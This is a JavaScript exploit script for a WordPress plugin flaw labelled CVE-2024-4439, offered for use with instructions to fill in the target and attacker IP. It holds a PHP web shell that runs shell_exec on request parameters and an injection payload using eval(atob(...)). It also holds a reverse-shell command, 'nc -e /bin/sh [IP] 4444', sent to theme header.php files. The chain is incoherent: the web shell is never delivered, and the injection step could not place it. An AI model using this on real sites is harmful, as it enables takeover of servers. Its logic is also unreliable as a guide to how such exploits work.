CVE-2024-4439.js

// Payload: Reverse Shell
// Description: Exploit for CVE-2024-4439 - WordPress Plugin 'Rest Core' Unauthenticated
// Author: RC
// Instructions: Change URL and IP address in the reverse shell payload and run the script
// Description: The vulnerability arises due to insufficient output escaping of user display names, enabling both authenticated and unauthenticated attackers to inject h//armful web scripts.
//
//For authenticated users, particularly those with contributor-level access or higher, the exploit can lead to the injection of arbitrary web scripts into pages that will execute when a user views an affected page. Unauthenticated attackers, on the other hand, can exploit the vulnerability in pages where the comment block is present, displaying the comment author’s avatar.

// Reverse Shell Payload
const reverseShellPayload = `<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    $output = shell_exec($cmd);
    echo "<pre>$output</pre>";
}
?>`;

// Function to send HTTP GET request
function sendRequest(url) {
    fetch(url, {
        method: 'GET',
        headers: {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
        }
    })
    .then(response => {
        if (!response.ok) {
            throw new Error(`HTTP error! status: ${response.status}`);
        }
        return response.text();
    })
    .then(data => console.log('Command Output:', data))
    .catch(error => console.error('Error:', error));
}

// Exploit: Inject Reverse Shell Payload
const exploitUrl = 'http://[HOST]/wp-admin/admin-ajax.php?action=rest_core_controller_create_item&collection_name=avatars';
const randomColor = '#' + Math.floor(Math.random()*16777215).toString(16); // Random color for obfuscation
const exploitData = JSON.stringify({
    attributes: {
        size: 96,
        userId: 1,
        style: {
            border: {
                color: `${randomColor}", "type": "text/css", "onerror": "eval(atob(this.id))//`
            }
        }
    },
    content: 'Exploited!',
    blockName: 'core/avatar',
    clientId: 'exploited-' + Math.random().toString(36).substring(7),
    blockVersion: 1,
    innerBlocks: []
});

// Send exploit to inject payload
fetch(exploitUrl, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
    },
    body: exploitData
})
.then(response => {
    if (!response.ok) {
        throw new Error(`HTTP error! status: ${response.status}`);
    }
    return response.json();
})
.then(data => {
    console.log('Exploit successful:', data);

    // Test reverse shell in different themes with URL encoding for the command
    const themes = ['twentytwenty', 'twentytwentyfour', 'twentytwentythree', 'twentytwentytwo', 'mintify']; // Add more themes if needed
    const cmd = encodeURIComponent('nc -e /bin/sh [IP] 4444');
    themes.forEach(theme => {
        const reverseShellUrl = `http://[HOST]/wp-content/themes/${theme}/header.php?cmd=${cmd}`;
        sendRequest(reverseShellUrl);
    });

})
.catch(error => console.error('Exploit failed:', error));